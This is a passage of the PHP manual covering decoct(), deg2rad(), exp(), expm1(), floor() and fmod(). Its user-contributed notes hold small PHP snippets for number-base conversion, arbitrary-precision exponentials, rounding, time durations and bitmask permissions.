        $exp = pow(32,18 - $i);
        $modulo = fmod($s,$exp);
        $value = ($s - $modulo) / $exp;
        if (($value > 0) && ($start != 1)) {
            $start = 1;
        }
        if ($start == 1) {
            $decs = $value;
            $decs = ereg_replace ("10", "a", $decs);
            $decs = ereg_replace ("11", "b", $decs);
            $decs = ereg_replace ("12", "c", $decs);
            $decs = ereg_replace ("13", "d", $decs);
            $decs = ereg_replace ("14", "e", $decs);
            $decs = ereg_replace ("15", "f", $decs);
            $decs = ereg_replace ("16", "g", $decs);
            $decs = ereg_replace ("17", "h", $decs);
            $decs = ereg_replace ("18", "i", $decs);
            $decs = ereg_replace ("19", "j", $decs);
            $decs = ereg_replace ("20", "k", $decs);
            $decs = ereg_replace ("21", "l", $decs);
            $decs = ereg_replace ("22", "m", $decs);
            $decs = ereg_replace ("23", "n", $decs);
            $decs = ereg_replace ("24", "o", $decs);
            $decs = ereg_replace ("25", "p", $decs);
            $decs = ereg_replace ("26", "q", $decs);
            $decs = ereg_replace ("27", "r", $decs);
            $decs = ereg_replace ("28", "s", $decs);
            $decs = ereg_replace ("29", "t", $decs);
            $decs = ereg_replace ("30", "u", $decs);
            $decs = ereg_replace ("31", "v", $decs);
            $int_value = $int_value.$decs;
        }
        $s = $s - $value * $exp;
        $i++;
    }
    return $int_value;
}

function ttwdec($int_ttw) {
    $digits = strlen($int_ttw);
    while ($i < $digits) {
        $s = substr($int_ttw,$i,1);
        $decs = $s;
        $decs = ereg_replace ("a", "10", $decs);
        $decs = ereg_replace ("b", "11", $decs);
        $decs = ereg_replace ("c", "12", $decs);
        $decs = ereg_replace ("d", "13", $decs);
        $decs = ereg_replace ("e", "14", $decs);
        $decs = ereg_replace ("f", "15", $decs);
        $decs = ereg_replace ("g", "16", $decs);
        $decs = ereg_replace ("h", "17", $decs);
        $decs = ereg_replace ("i", "18", $decs);
        $decs = ereg_replace ("j", "19", $decs);
        $decs = ereg_replace ("k", "20", $decs);
        $decs = ereg_replace ("l", "21", $decs);
        $decs = ereg_replace ("m", "22", $decs);
        $decs = ereg_replace ("n", "23", $decs);
        $decs = ereg_replace ("o", "24", $decs);
        $decs = ereg_replace ("p", "25", $decs);
        $decs = ereg_replace ("q", "26", $decs);
        $decs = ereg_replace ("r", "27", $decs);
        $decs = ereg_replace ("s", "28", $decs);
        $decs = ereg_replace ("t", "29", $decs);
        $decs = ereg_replace ("u", "30", $decs);
        $decs = ereg_replace ("v", "31", $decs);
        $i++;
        $value = $decs * pow(32,($digits - $i));
        $int_value = $int_value + $value;
    }
    return $int_value;
}
m0sh3 at hotmail dot com 29-Jul-2003 05:41
This will can convert decimal of more than 2^48 in any PHP version:

$hex = dechex($dec>>24).dechex($dec & 0xFFFFFF)
allan-wegan at allan-wegan dot de 19-Jul-2003 10:53
now, here is a nice and small function to convert integers to hex strings and it avoids use of the DECHEX funtion because that function changed it's behavior too often in the past (now, in PHP version 4.3.2 it works with numbers bigger than 0x7FFFFFFF correctly, but i need to be backward compatible).

function &formatIntegerForOutput($value) {
    $text = "00000000";
    $transString = "0123456789ABCDEF";
    // handle highest nibble (nibble 7):
        $nibble = $value & 0x70000000;
        $nibble >>= 28;
        if ($value < 0) {
            $nibble = $nibble | 0x00000008;
        }
        $text[0] = $transString[$nibble];
        $value &= 0x0FFFFFFF;
    // nibbles 0 to 6:
        for ($a = 7; $a > 0; $a --) {
            $nibble = $value & 0x0000000F;
            $text[$a] = $transString[$nibble];
            $value >>= 4;
        }
    return $text
}

this function should be not too slow and is really simple.
I don't know, if the DECHEX function in the future will pad it's output to ever be 8 characters in length - so for backward compatibility reasons even in future PHP versions i avoided to use it.
paoligno at tin dot it 15-Mar-2003 07:32
you can use this workaround (raw but simple and efficient)

$string=DecHex($string*1)

bye bye
the_tenth at pandora dot be 29-Sep-2002 02:12
<?

function dec2hex($number) {
$length=16;
$hexval="";
while ($number>0) {
$remainder=bcmod($number,16);
if ($remainder<10)
$hexval=$remainder.$hexval;
elseif ($remainder==10)
$hexval="A".$hexval;
elseif ($remainder==11)
$hexval="B".$hexval;
elseif ($remainder==12)
$hexval="C".$hexval;
elseif ($remainder==13)
$hexval="D".$hexval;
elseif ($remainder==14)
$hexval="E".$hexval;
elseif ($remainder==15)
$hexval="F".$hexval;
$number=bcdiv($number,16);
}
while (strlen($hexval)<$length) $hexval="0".$hexval;
return $hexval;
}

$tmp = "<table width='643' border='1'>";
$x = 1;
$y = 1;
$z = dec2hex($x);
$q = dec2hex($y);
for ($i=1;$i<65;$i++){
    $x= bcpow(2,($i-1));
    $z = dec2hex($x);
    $tmp .="<tr><td width='20' align='center' bgcolor='#808080'><font color='#ffffff'>". $i;
    $tmp .="</font></td><td width='5'>2<sup>". ($i-1) . "</sup></td><td width='2'>=</td></td><td>" . $x . "</td>";
    $tmp .="<td>".$z."</td><td>".$y."</td><td>".$q."</td></tr>";
    $y = bcsub(bcpow(2,$i+1),1);
    $q = dec2hex($y);

}
$tmp .= "</table>";
echo $tmp;
?>
monkyNOSPAM at phpfi dot org dot invalid 23-Sep-2002 07:20
Here's how to use bitwise operations for RGB2hex conversion. This function returns hexadesimal rgb value just like one submitted by gurke@bigfoot.com above.

function hexColor($color) {
  return dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
}

example:

$col[0] = 25;
$col[1] = 255;
$col[2] = 55;

print hexColor($col);
joost at bingopaleis dot com 28-Apr-2002 09:21
Here are two functions that will convert large dec numbers to hex and vice versa. And I really mean LARGE, much larger than any function posted earlier.

<pre>
// Input: A decimal number as a String.
// Output: The equivalent hexadecimal number as a String.
function dec2hex($number)
{
    $hexvalues = array('0','1','2','3','4','5','6','7',
               '8','9','A','B','C','D','E','F');
    $hexval = '';
     while($number != '0')
     {
        $hexval = $hexvalues[bcmod($number,'16')].$hexval;
        $number = bcdiv($number,'16',0);
    }
    return $hexval;
}

// Input: A hexadecimal number as a String.
// Output: The equivalent decimal number as a String.
function hex2dec($number)
{
    $decvalues = array('0' => '0', '1' => '1', '2' => '2',
               '3' => '3', '4' => '4', '5' => '5',
               '6' => '6', '7' => '7', '8' => '8',
               '9' => '9', 'A' => '10', 'B' => '11',
               'C' => '12', 'D' => '13', 'E' => '14',
               'F' => '15');
    $decval = '0';
    $number = strrev($number);
    for($i = 0; $i < strlen($number); $i++)
    {
        $decval = bcadd(bcmul(bcpow('16',$i,0),$decvalues[$number{$i}]), $decval);
    }
    return $decval;
}
</pre>
jfren484 at hotmail dot com 12-Feb-2002 03:47
Here's a function which works for decimal values up to 9007199254740992 (hex 20000000000000).

function dec2hex($dec)
{
  $hex = ($dec == 0 ? '0' : '');

  while ($dec > 0)
  {
    $hex = dechex($dec - floor($dec / 16) * 16) . $hex;
    $dec = floor($dec / 16);
  }

  return $hex;
}
kristoffer at caveo dot se 11-Feb-2002 05:39
Heres a example of dec to html hex gradient. Have fun :)

//Amount of gradients
$l = 20;

//Start color
$start[0] = "255";     //red
$start[1] = "0";     //green
$start[2] = "255";     //blue

//End color
$end[0] = "255";     //red
$end[1] = "255";    //green
$end[2] = "255";    //blue

for ($t = 1; $t < $l;) {

    $x = $x * $t;

    for ($i = 0; $i < 3;) {

        $buffer[$i] = $start[$i] - $end[$i];
        $buffer[$i] = floor($buffer[$i] / $l);
        $rgb[$i] = $start[$i] - ($buffer[$i] * $t);

        if ($rgb[$i] > 255) {

            $rgb[$i] = 255;

        }

        $rgb[$i] = dechex($rgb[$i]);
        $rgb[$i] = strtoupper($rgb[$i]);

        if (strlen($rgb[$i]) < 2) {

            $rgb[$i] = "0$rgb[$i]";

        }

        $i++;

    }

    $color = "$rgb[0]$rgb[1]$rgb[2]";
    echo "$color";
        $t++;

}

?>
decbin
decoct
Math Functions


Decimal to octal

dechex
deg2rad
Math Functions
PHP Manual

decoct

(PHP 4, PHP 5)

decoct — Decimal to octal

Description

string decoct ( int $number )

Returns a string containing an octal representation of the given number argument. The largest number that can be converted is 4294967295 in decimal resulting to "37777777777".

Parameters

number

Decimal value to convert

Return Values

Octal string representation of number

Examples

Example #1 decoct() example

<?php
echo decoct(15) . "\n";
echo decoct(264);
?>

The above example will output:

17
410

See Also

  • octdec() - Octal to decimal
  • decbin() - Decimal to binary
  • dechex() - Decimal to hexadecimal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

There are no user contributed notes for this page.
dechex
deg2rad
Math Functions


Converts the number in degrees to the radian equivalent

decoct
exp
Math Functions
PHP Manual

deg2rad

(PHP 4, PHP 5)

deg2rad — Converts the number in degrees to the radian equivalent

Description

float deg2rad ( float $number )

This function converts number from degrees to the radian equivalent.

Parameters

number

Angular value in degrees

Return Values

The radian equivalent of number

Examples

Example #1 deg2rad() example

<?php

echo deg2rad(45); // 0.785398163397
var_dump(deg2rad(45) === M_PI_4); // bool(true)

?>

See Also

  • rad2deg() - Converts the radian number to the equivalent number in degrees

User Contributed Notes

christian dot ubu at NOSPAMHERE dot gmail dot com 13-Mar-2009 07:18
Never use deg2rad() in loops, use $rad = ($deg * M_PI / 180) instead which is faster!
john dot navratil at sbcglobal dot net 11-Feb-2007 07:32
This does a simple scaling with the results that deg2rad(720) is 4PI.  For navigation purposes you may wish to mod the results with 2PI.
decoct
exp
Math Functions


Calculates the exponent of e

deg2rad
expm1
Math Functions
PHP Manual

exp

(PHP 4, PHP 5)

exp — Calculates the exponent of e

Description

float exp ( float $arg )

Returns e raised to the power of arg.

Note:

'e' is the base of the natural system of logarithms, or approximately 2.718282.

Parameters

arg

The argument to process

Return Values

'e' raised to the power of arg

Examples

Example #1 exp() example

<?php
echo exp(12) . "\n";
echo exp(5.7);
?>

The above example will output:

1.6275E+005
298.87

See Also

  • log() - Natural logarithm
  • pow() - Exponential expression

User Contributed Notes

zooly at globmi dot com 14-Dec-2010 07:12
PHP does not have the following math function in any extensions:

frexp() - Extract Mantissa and Exponent of the Floating-Point Value

I've digged many C source codes, and found the simplest implementation as follows:

<?php

function frexp ( $float ) {

  $exponent = ( floor(log($float, 2)) + 1 );
  $mantissa = ( $float * pow(2, -$exponent) );

  return(
    array($mantissa, $exponent)
  );

}

print_r(frexp(0.0345));
print_r(frexp(21.539));

?>

Array
(
    [0] => 0.552
    [1] => -4
)
Array
(
    [0] => 0.67309375
    [1] => 5
)

I have compared the results using a lot of floats against C's frexp function - they are the same.

Note that C and PHP uses different float precisions, for example "4619.3" gives:

C: 0.56387939453125, 13
PHP: 0.563879394531, 13

/Assuming default configurations./
Nitrogen 23-Sep-2009 05:54
Just a note about using the submitted codes below..
Their functions have an optional $precision parameter; however, it's not being used properly..

BCMath functions by default do not use decimal precision unless specified by BCScale($precision); or using the extra parameter in the used BC functions.

For example, a blank PHP file with their code.. executing BCExp('5.7'); returns "47" instead of the correct answer of "298.86740096706..."

So for optimum accuracy, I'd suggest setting BCScale to a healthy length before running their codes.
konrad 24-Jan-2007 03:13
working version (checked) of below code is

<?php
  // see bccomp for this code (signed and unsigned zero!)
  function bccomp_zero($amount) {
    return bccomp($amount, (@$amount{0}=="-"?'-':'').'0.0');
  }

  // arbitrary precision function (x^n)/(n)!
  function bcpowfact($x, $n) {
    if (bccomp_zero($n) == 0) return '1';
    if (bccomp($n, '1') == 0) return $x;
    $a = $x; // 1st step: a *= x / 1
    $i = $n;
    while (bccomp($i, '1') == 1) {
      // ith step: a *= x / i
      $a = bcmul($a, bcdiv($x, $i));
      $i = bcsub($i, '1'); // bc idiom for $i--
    }
    return $a;
  }

  // arbitrary precision exp() function
  function bcexp($x, $digits) {
    $sum = $prev_sum = '0.0';
    $error = '0.'.str_repeat('0', $digits-1).'1'; // 0.1*10^-k
    $n = '0.0';
    do {
      $prev_sum = $sum;
      $sum = bcadd($sum, bcpowfact($x, $n));
      $n = bcadd($n, '1'); // bc idiom for $n++
    } while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
    return $sum;
  }
?>
boards at gmail dot com 26-Apr-2006 10:18
Note regarding the mathematical function exp(x):

To continue accuracy of the exponential function to an infinite amount of decimal places, one would use the power series definition for exp(x).
(in LaTeX form:)
e^x = \sum_{n=0}^{\infty} \frac{x^n}{n!}

So, to do that in PHP (using BC math):

<?php
// arbitrary precision function (x^n)/(n)!
function bcpowfact($x, $n) {
  if (bccomp($n, '0') == 0) return '1.0';
  if (bccomp($n, '1') == 1) return $x;
  $a = $x; // nth step: a *= x / 1
  $i = $n;
  while (bccomp($i, '1') == 1) {
    // ith step: a *= x / i
    $a = bcmul($a, bcdiv($x, $i));
    $i = bcsub($i, '1'); // bc idiom for $i--
  }
  return $a;
}

// arbitrary precision exp() function
function bcexp($x, $decimal_places) {
  $sum = $prev_sum = '0.0';
  $error = bcdiv(bcpow('10', '-'.$decimal_places), 10); // 0.1*10^-k
  $n = '0';
  do {
    $prev_sum = $sum;
    $sum = bcadd($sum, bcpowfact($x, $n));
  }
  while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
  return $sum;
}
?>
info at teddycaddy dot com 16-Sep-2004 06:55
This only returns the first 51 digits after the decimal point.
deg2rad
expm1
Math Functions


Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero

exp
floor
Math Functions
PHP Manual

expm1

(PHP 4 >= 4.1.0, PHP 5)

expm1 — Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero

Description

float expm1 ( float $arg )

expm1() returns the equivalent to 'exp(arg) - 1' computed in a way that is accurate even if the value of arg is near zero, a case where 'exp (arg) - 1' would be inaccurate due to subtraction of two numbers that are nearly equal.

Parameters

arg

The argument to process

Return Values

'e' to the power of arg minus one

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • log1p() - Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero
  • exp() - Calculates the exponent of e

User Contributed Notes

brettz9 AAT yah 02-Apr-2009 08:07
Note that exp(x)-1 can be approximated by x + x^2/2! + ... + x^n/n!  and for any value
hagen at von-eitzen dot de 24-Feb-2003 03:57
Compare this to log1p (which is its inverse).

Also, You may have to use a similar workaraound in case the underlying C library
does not support expm1:

<?php
function expm1($x) {
     return ($x>-1.0e-6 && $x<1.0e-6) ? ($x + $x*$x/2) : (exp($x)-1);
}
?>
exp
floor
Math Functions


Round fractions down

expm1
fmod
Math Functions
PHP Manual

floor

(PHP 4, PHP 5)

floor — Round fractions down

Description

float floor ( float $value )

Returns the next lowest integer value by rounding down value if necessary.

Parameters

value

The numeric value to round

Return Values

value rounded to the next lowest integer. The return value of floor() is still of type float because the value range of float is usually bigger than that of integer.

Examples

Example #1 floor() example

<?php
echo floor(4.3);   // 4
echo floor(9.999); // 9
echo floor(-3.14); // -4
?>

See Also

  • ceil() - Round fractions up
  • round() - Rounds a float

User Contributed Notes

dr+php at dakotaryan dot com 21-Sep-2011 11:22
The better way to round up/down to the nearest hundred (or thousand, etc.) is with roundBetter():

<?php
// This function is backwards compatible with round(),
// but provides an optional extra argument which,
// if set and not null, allows you to override the default
// rounding direction. See examples below.
function roundBetter($number, $precision = 0, $mode = PHP_ROUND_HALF_UP, $direction = NULL) {
    if (!isset($direction) || is_null($direction)) {
        return round($number, $precision, $mode);
    }

    else {
        $factor = pow(10, -1 * $precision);

        return strtolower(substr($direction, 0, 1)) == 'd'
            ? floor($number / $factor) * $factor
            : ceil($number / $factor) * $factor;
    }
}

// roundBetterUp(1999, -3) => 2000
// roundBetterUp(1001, -3) => 2000
function roundBetterUp($number, $precision = 0, $mode = PHP_ROUND_HALF_UP) {
    return roundBetter($number, $precision, $mode, 'up');
}

// roundBetterDown(1999, -3) => 1000
// roundBetterDown(1001, -3) => 1000
function roundBetterDown($number, $precision = 0, $mode = PHP_ROUND_HALF_UP) {
    return roundBetter($number, $precision, $mode, 'down');
}
?>
seppili_ at gmx dot de 05-Mar-2010 08:52
I use this function to floor with decimals:
<?php

function floordec($zahl,$decimals=2){
     return floor($zahl*pow(10,$decimals))/pow(10,$decimals);
}
?>
lewis at lewishenshall dot co dot uk 25-Feb-2009 11:12
If you're wanting to round down to the nearest hundred:

<?php
function rounddowntohundred($theNumber) {
    if (strlen($theNumber)<3) {
    $theNumber=$theNumber;
    } else {
    $theNumber=substr($theNumber, 0, strlen($theNumber)-2) . "00";

    }
    return $theNumber;

}
?>
fragov at gmail dot com 14-Jan-2009 09:39
Have solved a "price problem":

<?php
$peny = floor($row->price*1000) - floor($row->price)*1000)/10;
?>
benrr101 at gmail dot com 11-Jun-2008 09:39
But, if you want the number closest to zero, you could use this:
<?php
  if($foo > 0) {
    floor($foo);
  } else {
    ceil($foo);
  }
?>

-benrr101
greene dot mc at removethispart dot gmail dot com 27-May-2008 01:08
I believe this behavior of the floor function was intended.  Note that it says "the next lowest integer".  -1 is "higher" than -1.6.  As in, -1 is logically greater than -1.6.  To go lower the floor function would go to -2 which is logically less than -1.6.

Floor isn't trying to give you the number closest to zero, it's giving you the lowest bounding integer of a float.

In reply to Glen who commented:
 Glen
01-Dec-2007 04:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jay at w3prodigy dot com 25-Mar-2008 12:01
Note:

<?php
$int = 0.99999999999999999;
echo floor($int); // returns 1
?>

and

<?php
$int = 0.9999999999999999;
echo floor($int); // returns 0
?>
Glen 01-Dec-2007 01:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jolyon at mways dot co dot uk 10-Aug-2004 09:41
Beware of FLOAT weirdness!

Floats have a mind of their own, and what may look like an integer stored in a float isn't.

Here's a baffling example of how floor can be tripped up by this:

<?php
$price = 79.99;

print $price."\r\n";     // correct result, 79.99 shown

$price = $price * 100;

print $price."\r\n";    // correct result, 7999 shown

print floor($price);    // 7998 shown! what's going on?
?>

The thing to remember here is that the way a float stores a value makes it very easy for these kind of things to happen. When the 79.99 was multiplied by 100, the actual value stored in the float was probably something like 7998.9999999999999999999999999999999999, PHP would print out 7999 when the value is displayed but floor would therefore round this down to 7998.

THe moral of this story - never use float for anything that needs to be accurate! If you're doing prices for products or a shopping cart, then always use an integer and store prices as a number of pence, you'll thank me for this later :)
illyena at musefish dot net 12-May-2004 03:53
For calculating the number of days, hours, minutes and seconds to an event.

<?php
$then = date(mktime(8,0,0,6,25,2004)); //remember that mktime is hour,min,sec,month,day,year
$now = date("U"); // "U" is the number of seconds since the epoch, equivilant to using "YmdHis"

$time = $then - $now; //gets the number of seconds between now and the event
$days = floor($time/86400); //rounds down to the whole number, in this case # of days
echo $days." Days";
$time = $time - ($days*86400); //leaves you with the amount of time ramaining after subtracting the days
$hours = floor($time/3600); //rounds down to the whole number, in this case # of hours
echo $hours." Hours";
$time = $time - ($hours*3600); //leaves you with the amount of time ramaining after subtracting the hours
$min = floor($time/60); //rounds down to the whole number, in this case # of minutes
echo $min." Minutes";
$sec = $time - ($min*60); //leaves you with the amount of time ramaining after subtracting the minutes which is equivilant to the remainins seconds
echo $sec." Seconds";
?>
PHP Helper 20-Dec-2003 02:39
floor basically truncates, or chops off everything to the right of a decimal. For instance, if you have a length of 5.1234, but just wanted the whole number, you could use the following code:

<?php
$length = 5.1234; //this is our original length
$length = floor($length); //length is truncated, original variable name is kept
print "$length"; //this prints our result
?>

This code would print the following: 5

Now, although there is a specific function in PHP for rounding, rounding can also be performed with the floor function. Let's say we wanted to round the length to the hundredths place.

<?php
$length = 5.1234;
$length = floor(($length) * 100 + .5) * .01;
print "$length";
?>

The result is: 5.12

This works because, first, the length is multiplied by 100, which moves the decimal point to the right two places, giving us the value of 512.34. Next .5 is added to the length, which gives us a value of 512.84. Then the floor function truncates the value, leaving us with 512. Lastly, to compensate for multiplying by 100 earlier, now we must divide by 100, or in this case, multiply by .01. This moves the decimal point back 2 places to it's original place and gives us the rounded value of 5.12.

We can also round to other values, such as the thousandths, by adjusting the code as follows:

<?php
$length = 5.1234;
$length = floor(($length) * 1000 + .5) * .001;
print "$length";
?>

Result: 5.123
10-Sep-2002 03:08
mathematical functions lack a floating point version of the modulo operation, which returns the difference between the floor() of the argument and the argument itself:

<?php
function fmod($value) {
  return $value - floor($value);
}
?>

Very useful with trigonometric functions to reduce the angle argument to a circle that includes angle 0.

Useful also to reduce an arbitrarily large floating point value into an entropy source, by first transforming this value into a pair using logarithm functions with distinct bases (add 1 if the function can return 0, to avoid floating point errors with logarithms!):

<?php
$f = 1 + @disk_free_space("/tmp");
$r = (int)(fmod(Log($f)) * 0x7FFFFFFF)
^ (int)(fmod(Log10($f)) * 0x7FFFFFFF)
?>

Then $r can be used as a good entropy source, if the free space in your temporary folder used by PHP is constantly evolving within a large range of values.

You can combine this value by xoring it with other values such as time(), (int)microtime(), ip2long($_SERVER['REMOTE_ADDR'], $_SERVER['REMOTE_PORT'], getmypid(), ...
expm1
fmod
Math Functions


Returns the floating point remainder (modulo) of the division of the arguments

floor
getrandmax
Math Functions
PHP Manual

fmod

(PHP 4 >= 4.2.0, PHP 5)

fmod — Returns the floating point remainder (modulo) of the division of the arguments

Description

float fmod ( float $x , float $y )

Returns the floating point remainder of dividing the dividend (x) by the divisor (y). The reminder (r) is defined as: x = i * y + r, for some integer i. If y is non-zero, r has the same sign as x and a magnitude less than the magnitude of y.

Parameters

x

The dividend

y

The divisor

Return Values

The floating point remainder of x/y

Examples

Example #1 Using fmod()

<?php
$x = 5.7;
$y = 1.3;
$r = fmod($x, $y);
// $r equals 0.5, because 4 * 1.3 + 0.5 = 5.7
?>

User Contributed Notes

dePijd 10-Feb-2010 06:37
This class ran through several unit tests and fixes all failures found in bugs.php.net

<?php
abstract class MyNumber {
    public static function isZero($number, $precision = 0.0000000001)
    {
        $precision = abs($precision);
        return -$precision < (float)$number && (float)$number < $precision;
    }
    public static function isEqual($number1, $number2)
    {
        return self::isZero($number1 - $number2);
    }
    public static function fmod($number1, $number2)
    {
        $rest = fmod($number1, $number2);
        if (self::isEqual($rest, $number2)) {
            return 0.0;
        }
        if (mb_strpos($number1, ".") === false) {
            $decimals1 = 0;
        } else {
            $decimals1 = mb_strlen($number1) - mb_strpos($number1, ".") - 1;
        }
        if (mb_strpos($number2, ".") === false) {
            $decimals2 = 0;
        } else {
            $decimals2 = mb_strlen($number2) - mb_strpos($number2, ".") - 1;
        }
        return (float)round($rest, max($decimals1, $decimals2));
    }
}
?>
linkboss at gmail dot com 18-Oct-2009 05:49
You can also use the modulo operator '%', which returns the same result :

<?php
$var1 = 5;
$var2 = 2;

echo $var1 % $var2; //Returns 1
echo fmod($var1,$var2); //Returns the same
?>
matrebatre 20-May-2008 12:09
I always use this:

function modulo($n,$b) {
return $n-$b*floor($n/$b);
}

And it appears to work correctly.
ysangkok at gmail dot com 01-Jul-2007 09:37
Please note that this:
<?php
function custom_modulo($var1, $var2) {
  $tmp = $var1/$var2;

  return (float) ( $var1 - ( ( (int) ($tmp) ) * $var2 ) );
}

$par1 = 1;
$par2 = 0.2;

echo "fmod:          ";
var_dump(fmod ( $par1 , $par2 ));
echo "custom_modulo: ";
var_dump(custom_modulo ( $par1 , $par2 ));
?>

gives this:

fmod:          float(0.2)
custom_modulo: float(0)

Fmod does not deliver the desired result, therefore I made my own.
cory at lavacube dot net 08-Dec-2005 10:13
I don't believe that is correct.

Try this out using your patch:
<?php

echo duration( mktime(0, 0, 0, 1, 0, 2006)-time() );

?>

As of right now, this will read:
1 month, 22 days, 24 hours, 49 minutes, 15 seconds

Which is completely incorrect. Seeing as how it is the 9th of December.

The real real flaw here is how the 'year' and 'month' periods are calculated. As most months vary in length...

Thank you very much SnakeEater251 for pointing this out.

The quickest way to get slightly more accurate results, is to use averages based on one "true" year, which is 365.25 days.

Change the year and month to:
      'year'       => 31557600, // one 'true year' (365.25 days)
      'month'    => 2629800, // one 'true year' divided by 12 :-)

I will work on developing a true fix, for pin-point accuracy. ;-)

 - Cory Christison
SnakeEater251 26-Nov-2005 10:16
Note on the code given by cory at lavacube dot net.
You will recieve better results by not using floor and using round instead. As you continue increasing to larger amounts of time you will notice that the outputted time is off by large amounts.

so instead of $temp = floor( $int_seconds / $length );
we would use  $temp = round( $int_seconds / $length );

<?php

function duration( $int_seconds=0, $if_reached=null )
{
   $key_suffix = 's';
   $periods = array(
                   'year'        => 31556926,
                   'month'        => 2629743,
                   'day'        => 86400,
                   'hour'        => 3600,
                   'minute'    => 60,
                   'second'    => 1
                   );

   // used to hide 0's in higher periods
   $flag_hide_zero = true;

   // do the loop thang
   foreach( $periods as $key => $length )
   {
       // calculate
       $temp = round( $int_seconds / $length );

       // determine if temp qualifies to be passed to output
       if( !$flag_hide_zero || $temp > 0 )
       {
           // store in an array
           $build[] = $temp.' '.$key.($temp!=1?'s':null);

           // set flag to false, to allow 0's in lower periods
           $flag_hide_zero = false;
       }

       // get the remainder of seconds
       $int_seconds = fmod($int_seconds, $length);
   }

   // return output, if !empty, implode into string, else output $if_reached
   return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>
cory at lavacube dot net 26-Nov-2005 12:38
A more formal way for generating duration strings:

<?php

function duration( $int_seconds=0, $if_reached=null )
{
    $key_suffix = 's';
    $periods = array(
                    'year'        => 31556926,
                    'month'        => 2629743,
                    'day'        => 86400,
                    'hour'        => 3600,
                    'minute'    => 60,
                    'second'    => 1
                    );

    // used to hide 0's in higher periods
    $flag_hide_zero = true;

    // do the loop thang
    foreach( $periods as $key => $length )
    {
        // calculate
        $temp = floor( $int_seconds / $length );

        // determine if temp qualifies to be passed to output
        if( !$flag_hide_zero || $temp > 0 )
        {
            // store in an array
            $build[] = $temp.' '.$key.($temp!=1?'s':null);

            // set flag to false, to allow 0's in lower periods
            $flag_hide_zero = false;
        }

        // get the remainder of seconds
        $int_seconds = fmod($int_seconds, $length);
    }

    // return output, if !empty, implode into string, else output $if_reached
    return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>

Simple use:
<?php

    echo duration( mktime(0, 0, 0, 1, 1, date('Y')+1) - time(), 'Some fancy message to output if duration is already met...' );

?>

Enjoy. :-)
cory at simplesystems dot ca 22-Nov-2005 05:39
Just a note on the previous note by Ryan Means:

Instead of using explode() to get the number before the decimal point, would be to use floor()... floor() rounds fractions down, which is exactly what is needed.

His same example using floor();

<?PHP
$totalsec=XXXXXXX; //Replace the X's with a int value of seconds

$daysarray = floor( $totalsec/86400 );

$partdays = fmod($totalsec, 86400);
$hours = floor( $partdays/3600 );

$parthours = fmod($partdays, 3600);
$min = floor( $parthours/60 );

$sec = fmod($parthours, 60);

echo "days " . $days . "<br>";
echo "hours " . $hours . "<br>";
echo "minutes " . $min . "<br>";
echo "seconds " . $sec . "<br>";
?>
Ryan Means 11-May-2005 06:15
If your given a number of seconds and you want to turn it into Days, hours, minutes, and seconds:
(this is very useful when using the Unix Time Epoch to find the difference from one time to the other)

For Example:
I posted in a bb at one date.. when I post a Unix Time Epoch was marked..
Then When I go back and view it again 2 weeks later I generate the Unix Time Epoch for the current time.
Then take the current time - the posting time, this gives the number of seconds since the post.
Then use the below equations to get days, hours, minutes, and seconds since the post was made:

<?PHP
$totalsec=XXXXXXX; //Replace the X's with a int value of seconds

$daysarray = explode(".", ($totalsec/86400));
$days = $daysarray[0];

$partdays = fmod($totalsec, 86400);
$hoursarray = explode(".", ($partdays/3600));
$hours = $hoursarray[0];

$parthours = fmod($partdays, 3600);
$minarray = explode(".", ($parthours/60));
$min = $minarray[0];

$sec = fmod($parthours, 60);

echo "days " . $days . "<br>";
echo "hours " . $hours . "<br>";
echo "minutes " . $min . "<br>";
echo "seconds " . $sec . "<br>";
?>
sam dot fullman at verizon 24-Feb-2005 07:29
This function behaves wierd in negative regions.  If you have something like an angle that goes through 360 degress of rotation and your angle goes negative, then fmod of -1 should be 359, right?

Here's a way to get that result, so that you get a phase shift vs. just a "negative fmod":

$h= -30; //same as 330 degrees

//handle negative
if($h<0){
    while(true){
        $fail++; if($fail>100)break; //in case loop gets tied up
        $h+=360;
        if($h>=0)break;
    }
}
$h=fmod($h,360);

echo $h;  //will say 330 degrees - we phase shifted up until positive.
rocan 19-Feb-2005 06:10
john at digitizelife dot com:

Well not sure how your comment applys to fmod..

but their is a sure simpler way of coping with situations like this..

its called a bit field (bit masking)

e.g.

/* Categories */
bin     dec   cat
0001 - 1 - Blue
0010 - 2 - Red
0100 - 4 - Green
1000 - 8 - Yellow

/* Permissions */
0010 - 2   - Bob
0101 - 5    - John
1011 - 11  - Steve
1111-  15 - Mary

to find out the permissions for each user you simple need to do a bitwise AND

$steve_auth=11;

function get_perm($auth)
{
    $cats["Blue"]=1;
    $cats["Red"]=2;
    $cats["Green"]=4;
    $cats["Yellow"]=8;
    $perms=array();
    foreach($cats as $perm=>$catNum)
    {
          if($auth & $catNum)
                $perms[$perm]=true;

    }

    return $perms;
}

print_r(get_perm($steve_auth));
/*
returns
Array
(
    [Blue] => 1
    [Red] => 1
    [Yellow] => 1
)
*/

This is far simpler than your prime number idea, in fact you dont even need a function in any tests for the permmsions on a user you can do them directly using the bitwise and operator.

You may want to read the following

http://en.wikipedia.org/wiki/Bitmask
http://uk2.php.net/manual/en/language.operators.bitwise.php
john at digitizelife dot com 24-Jan-2005 04:09
In the process of writing an authentication process for my software, I came across the need for a permissions function. Basically, I wanted to use prime numbers to indicate a specified permission 'group' or 'category'. For example, the categories could be asigned a prime number as follows;

/* Categories */
2 - Blue
3 - Red
5 - Green
7 - Yellow

Then, a permission level can be assigned to a user as follows;

/* Permissions */
3 - Bob
10 - John
42 - Steve
210 - Mary

Using the prime number assigned to the specified category, you can specify access to each category by multiplying the allowed categories together. For example, Bob only has access to Red, whereas Steve has access to Red, Blue and Yellow.
